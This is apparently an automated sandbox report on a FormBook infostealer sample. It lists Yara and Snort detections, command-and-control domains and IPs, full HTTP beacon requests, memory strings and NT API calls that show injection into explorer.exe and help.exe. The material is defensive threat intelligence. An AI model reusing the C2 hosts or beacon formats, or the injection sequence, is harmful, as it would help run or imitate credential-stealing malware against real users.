Source: Yara match	File source: 0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.SKlGhwkzTi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SKlGhwkzTi.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.SKlGhwkzTi.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.SKlGhwkzTi.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SKlGhwkzTi.exe.3de9930.1.raw.unpack, type: UNPACKEDPE

Source: 4.2.SKlGhwkzTi.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 4.0.SKlGhwkzTi.exe.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: SKlGhwkzTi.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: SKlGhwkzTi.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000006.00000000.700218908.0000000005A00000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: SKlGhwkzTi.exe, 00000004.00000002.764137531.000000000195F000.00000040.00000001.sdmp, help.exe, 0000000D.00000002.918935858.00000000039A0000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: SKlGhwkzTi.exe, help.exe
Source:	Binary string: help.pdbGCTL source: SKlGhwkzTi.exe, 00000004.00000002.763881170.0000000001830000.00000040.00000001.sdmp
Source:	Binary string: help.pdb source: SKlGhwkzTi.exe, 00000004.00000002.763881170.0000000001830000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000006.00000000.700218908.0000000005A00000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4x nop then pop edi
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4x nop then pop ebx
Source: C:\Windows\SysWOW64\help.exe	Code function: 4x nop then pop edi
Source: C:\Windows\SysWOW64\help.exe	Code function: 4x nop then pop ebx

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49768 -> 151.106.118.75:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49768 -> 151.106.118.75:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49768 -> 151.106.118.75:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49771 -> 192.169.223.13:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49771 -> 192.169.223.13:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49771 -> 192.169.223.13:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.adultpeace.com/p2io/

Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=es7Y2j6d/8vbylETtmEK+cycNhd4T49F/A456A8m/a4HPEjAATL8KRpgCeYlIlfO3VWH&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.hiddenwholesale.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=ia0dgIkdnBZILDuo3zp8eo0tNiPxoXJfkPpt6P05AAGh3ZPzSagLTNX+xDwAHOv6iOkY&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.anewdistraction.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=pxlxKDN0Rvw8YUTnsB4Bv4ohCC0AYWvU81fxb+r9dLiNjjqdMXiyL1Lf04YLJeQ+Gz7y&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.cleanxcare.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=IctutJlD1KzdQk/q9eJAOxuhjWEnlD6jXMe1IpO47rzJ4yHlcjfL6JMqKvIaYl5lDyXZ&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.biztekno.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=V9Q6YNEsmUTgun1x6j8RVRt0udPCykKEN/zK+I9/XCzeOC650o3noXQhbdRFxPUlYrbD&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.69-1hn7uc.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O25ts36CozLG&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.cyrilgraze.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=r2GsjHfGgcaZI4XPmfqM84hqAY3LnZYXU2G/Xsttb0tqrt8DFa/RFFebhWMTMoil/lgU&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.centergolosinas.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View	IP Address: 104.21.65.7 104.21.65.7
Source: Joe Sandbox View	IP Address: 198.185.159.144 198.185.159.144

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: PLUSSERVER-ASN1DE PLUSSERVER-ASN1DE

Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=es7Y2j6d/8vbylETtmEK+cycNhd4T49F/A456A8m/a4HPEjAATL8KRpgCeYlIlfO3VWH&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.hiddenwholesale.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=ia0dgIkdnBZILDuo3zp8eo0tNiPxoXJfkPpt6P05AAGh3ZPzSagLTNX+xDwAHOv6iOkY&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.anewdistraction.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=pxlxKDN0Rvw8YUTnsB4Bv4ohCC0AYWvU81fxb+r9dLiNjjqdMXiyL1Lf04YLJeQ+Gz7y&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.cleanxcare.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=IctutJlD1KzdQk/q9eJAOxuhjWEnlD6jXMe1IpO47rzJ4yHlcjfL6JMqKvIaYl5lDyXZ&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.biztekno.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=V9Q6YNEsmUTgun1x6j8RVRt0udPCykKEN/zK+I9/XCzeOC650o3noXQhbdRFxPUlYrbD&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.69-1hn7uc.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O25ts36CozLG&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.cyrilgraze.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /p2io/?xN6x=r2GsjHfGgcaZI4XPmfqM84hqAY3LnZYXU2G/Xsttb0tqrt8DFa/RFFebhWMTMoil/lgU&YluDM=Ofc4YV0pThsp HTTP/1.1Host: www.centergolosinas.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: www.hiddenwholesale.com

Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: SKlGhwkzTi.exe, 00000000.00000002.679283133.0000000002DE1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 00000006.00000000.716763832.0000000002B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: SKlGhwkzTi.exe, 00000000.00000002.687510936.0000000006F02000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.707799994.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css
Source: help.exe, 0000000D.00000002.919483231.0000000004052000.00000004.00000001.sdmp	String found in binary or memory: https://www.cyrilgraze.com/p2io/?xN6x=PONkgH6MO5ViG

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.SKlGhwkzTi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SKlGhwkzTi.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.SKlGhwkzTi.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.SKlGhwkzTi.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SKlGhwkzTi.exe.3de9930.1.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.SKlGhwkzTi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.SKlGhwkzTi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.SKlGhwkzTi.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.SKlGhwkzTi.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.0.SKlGhwkzTi.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.0.SKlGhwkzTi.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.0.SKlGhwkzTi.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.0.SKlGhwkzTi.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.SKlGhwkzTi.exe.3de9930.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.SKlGhwkzTi.exe.3de9930.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_004181B0 NtCreateFile,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_00418260 NtReadFile,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_004182E0 NtClose,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_00418390 NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_004182AC NtReadFile,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041838B NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A99A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A98F0 NtReadVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9A00 NtProtectVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9A20 NtResumeThread,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A95D0 NtClose,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9540 NtReadFile,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A97A0 NtUnmapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9FE0 NtCreateMutant,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A96E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A99D0 NtCreateProcessEx,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9950 NtQueueApcThread,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A98A0 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9820 NtEnumerateKey,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018AB040 NtSuspendThread,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018AA3B0 NtGetContextThread,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9B00 NtSetValueKey,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9A80 NtOpenDirectoryObject,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9A10 NtQuerySection,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A95F0 NtQueryInformationFile,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9520 NtWaitForSingleObject,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018AAD30 NtSetContextThread,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9560 NtWriteFile,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018AA710 NtOpenProcessToken,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9730 NtQueryVirtualMemory,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9760 NtOpenProcess,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018AA770 NtOpenThread,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9770 NtSetInformationFile,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A96D0 NtCreateKey,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9610 NtEnumerateValueKey,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9650 NtQueryValueKey,
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018A9670 NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A099A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09FE0 NtCreateMutant,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A096E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A096D0 NtCreateKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09650 NtQueryValueKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A095D0 NtClose,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09540 NtReadFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A0A3B0 NtGetContextThread,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09B00 NtSetValueKey,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09A80 NtOpenDirectoryObject,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09A20 NtResumeThread,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09A00 NtProtectVirtualMemory,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09A10 NtQuerySection,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A099D0 NtCreateProcessEx,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09950 NtQueueApcThread,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A098A0 NtWriteVirtualMemory,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A098F0 NtReadVirtualMemory,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09820 NtEnumerateKey,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A0B040 NtSuspendThread,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A097A0 NtUnmapViewOfSection,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09730 NtQueryVirtualMemory,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A0A710 NtOpenProcessToken,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09760 NtOpenProcess,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A0A770 NtOpenThread,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09770 NtSetInformationFile,
